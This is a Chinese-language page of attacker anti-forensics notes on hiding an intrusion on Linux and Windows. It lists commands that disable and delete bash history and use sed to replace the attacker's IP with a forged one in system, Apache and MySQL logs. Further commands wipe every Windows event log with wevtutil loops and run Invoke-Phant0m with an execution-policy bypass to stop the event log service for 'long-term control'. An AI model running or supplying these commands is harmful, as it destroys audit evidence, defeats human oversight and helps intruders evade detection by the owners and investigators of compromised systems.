跳转至

Linux日志处理

Bash日志处理

bash去掉history记录,让系统不记录history

export HISTSIZE=0
export HISTFILE=/dev/null

history命令的清除,也是对~/.bash_history进行定向清除

rm -rf ~/.bash_history
history -c

系统日志

直接将日志清除过于明显,一般使用sed进行定向清除或伪造

日志文件 说明
/var/log/btmp 记录**错误登录(登陆失败)**日志;使用**lastb**命令查看
/var/log/lastlog 记录系统中所有用户最后一次成功登录时间,使用**lastlog**命令查看
/var/log/wtmp 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件;用**last**命令来查看
/var/log/utmp 只记录**当前登录用户**的信息;使用**w,who,users**等命令来查询
/var/log/secure 记录验证和授权方面的信息,如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码(Centos)
#其中192.168.1.3是我们的IP,8.8.8.8是我们伪造的IP,-i直接编辑文件,必须在后边
sed 's/192.168.1.3/8.8.8.8/g' -i /var/log/btmp*
sed 's/192.168.1.3/8.8.8.8/g' -i /var/log/lastlog
sed 's/192.168.1.3/8.8.8.8/g' -i /var/log/wtmp

sed 's/192.168.1.3/8.8.8.8/g' -i secure
sed 's/192.168.1.3/8.8.8.8/g' -i /var/log/utmp

Web日志处理

如apache的access.log,error.log。

sed ‘s/192.168.1.3/8.8.8.8/g’ –i /var/log/apache/access.log
sed ‘s/192.168.1.3/8.8.8.8/g’ –i /var/log/apache/error_log
#其中192.168.1.3是我们的IP,8.8.8.8是我们伪造的IP

MySQL日志文件

log-error=/var/log/mysql/mysql_error.log        #错误日志
log-slow-queries=/var/log/mysql/mysql_slow.log  #慢查询日志
sed 's/192.168.1.3/8.8.8.8/g' –i /var/log/mysql/mysql_error.log
sed 's/192.168.1.3/8.8.8.8/g' –i /var/log/mysql/mysql_slow.log

php日志处理

sed 's/192.168.1.3/192.168.1.4/g' –i /var/log/apache/php_error.log 

Windows日志处理

对于Windows事件日志分析,不同的EVENT ID代表了不同的意义

事件ID 说明
4648 登录成功,会记录登录来源IP
4625 登录失败,会记录登录来源IP
4672 使用超级用户(如管理员)进行特殊登录,不会记录IP
4720 创建用户
4733 从用户组删除用户
4779 注销事件,会记录登录来源IP

一、wevtutil+for循环清除所有日志

for /F "tokens=*" %a in ('wevtutil.exe el') DO wevtutil.exe cl "%a"

二、 ps批量删日志

PS C:\> wevtutil el | Foreach-Object {Write-Host "Clearing $_"; wevtutil cl "$_"}

三、运行ps脚本

powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-Phant0m.ps1';Invoke-Phant0m}"
#win日志服务此时就会停止工作了
#长期控制,记得验证

不过这种方法太过暴力,而且停止日志记录这个方法停止后无法恢复

稳妥点还是手动删除登录事件